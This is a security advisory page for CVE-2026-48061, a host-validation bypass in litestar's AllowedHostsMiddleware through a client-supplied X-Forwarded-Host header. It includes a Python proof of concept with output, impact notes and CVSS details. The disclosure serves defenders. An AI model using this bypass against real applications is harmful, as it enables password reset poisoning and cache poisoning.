Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-48061 — litestar

🟡 CVSS 5.9 — Medium ✅ No Known Exploit CWE-348 NVD
5.9
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Litestar: AllowedHostsMiddleware bypasses host validation via client-controlled X-Forwarded-Host header

Summary

AllowedHostsMiddleware trusts the X-Forwarded-Host header as a fallback when the Host header is absent. Since X-Forwarded-Host is a client-controllable header, an attacker can bypass the allowed hosts validation by omitting the Host header and supplying an X-Forwarded-Host header set to a whitelisted domain. This enables host header injection attacks such as password reset poisoning, cache poisoning, and server-side request routing manipulation.

Details

In AllowedHostsMiddleware.__call__, the host value used for validation is resolved as follows:

https://github.com/litestar-org/litestar/blob/main/litestar/middleware/allowed_hosts.py#L68

```python

headers = MutableScopeHeaders(scope=scope)

if host := headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0]:

if self.allowed_hosts_regex.fullmatch(host):

await self.app(scope, receive, send)

return

```

When Host is absent (e.g., HTTP/1.0 clients, misconfigured proxies, or raw TCP connections), the middleware falls back to X-Forwarded-Host without any verification that the request actually passed through a trusted reverse proxy.

An attacker can send a request with no Host header and set X-Forwarded-Host to any whitelisted domain, bypassing the entire allowed hosts check. The application then processes the request as if it originated from a trusted host.

This is particularly dangerous when applications use the resolved host value for:

  • Generating password reset links (Host header injection → link points to attacker domain)
  • Cache key generation (cache poisoning)
  • Routing or backend selection decisions

PoC

```python

"""

PoC: Allowed Hosts Bypass via X-Forwarded-Host in Litestar 3.0.0b0

Affected:

litestar/middleware/allowed_hosts.py:68

-> headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0]

"""

import asyncio

from litestar import Litestar, get

from litestar.config.allowed_hosts import AllowedHostsConfig

from litestar.testing import TestClient

@get("/")

async def index() -> dict:

return {"status": "ok"}

app = Litestar(

route_handlers=[index],

allowed_hosts=AllowedHostsConfig(allowed_hosts=["trusted.example.com"]),

)

# --- 1. Baseline: invalid host is blocked ---

with TestClient(app=app) as c:

resp = c.get("/", headers={"host": "evil.com"})

assert resp.status_code == 400

print(f"[*] Host: evil.com -> {resp.status_code} (blocked)")

# --- 2. Bypass: ASGI scope without Host, with X-Forwarded-Host ---

async def test_bypass():

scope = {

"type": "http",

"method": "GET",

"path": "/",

"root_path": "",

"scheme": "http",

"query_string": b"",

"headers": [

# No "host" header — only x-forwarded-host

(b"x-forwarded-host", b"trusted.example.com"),

],

"server": ("testserver", 80),

"app": app,

"litestar_app": app,

"state": {},

}

captured = {}

async def receive():

return {"type": "http.request", "body": b""}

async def send(message):

if message["type"] == "http.response.start":

captured["status"] = message["status"]

await app(scope, receive, send)

return captured["status"]

status = asyncio.run(test_bypass())

print(f"[*] No Host + X-Forwarded-Host: trusted.example.com -> {status} (bypassed)")

assert status == 200, f"Expected 200, got {status}"

print(f"[!] AllowedHosts check passed using client-controlled X-Forwarded-Host")

```

Output:

```

[*] Host: evil.com -> 400 (blocked)

[*] No Host + X-Forwarded-Host: trusted.example.com -> 200 (bypassed)

[!] AllowedHosts check passed using client-controlled X-Forwarded-Host

```

Impact

This is a host validation bypass vulnerability. Any application using AllowedHostsConfig is affected when deployed without a reverse proxy that strips X-Forwarded-Host, or when accepting HTTP/1.0 connections.

An attacker can bypass the allowed hosts restriction and have requests processed as if they originated from a trusted host. This can lead to:

  • Password reset poisoning: if the application uses the host value to generate reset links, the attacker can redirect them to a malicious domain
  • Cache poisoning: cached responses keyed on the host value can be polluted with attacker-controlled content
  • Routing manipulation: backend routing decisions based on host value can be influenced

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is high, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity high, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: High — the attacker first has to win a race, learn a secret or otherwise prepare the target.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: None.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: None.

Weakness class

CVE-2026-48061 is classified as CWE-348: Use of Less Trusted Source. The product has two different sources of the same data or information, but it uses the source that has less support for verification, is less trusted, or is less resistant to attack.

Affected software

CVE-2026-48061 is recorded against 2 packages.

  • litestar (fixed in 2.22.0)
  • unknown

Timeline and source

Published on 10 June 2026 and last revised on 13 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
github.com (Web)
github.com (Package)

Other advisories for this package

litestar has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-348: Use of Less Trusted Source) in other software:

Details

Severity Medium
CVSS Score 5.9
CVSS Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
CWE CWE-348
Public Exploit ✅ No
Source NVD
Published 2026-06-10
Updated 2026-08-20
Modified 2026-07-13
Fix URL N/A

Affected Packages

Software From version Fixed in
litestar — 2.22.0
unknown — —

Similar Threats

Vulnerability Monitoring

Track new vulnerabilities in litestar

CVE-2026-48061 is rated CVSS 5.9 Medium. BotEraser monitors your WordPress installation and notifies you when software you use appears in our vulnerability database.

Set Up Free Alerts →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026
✓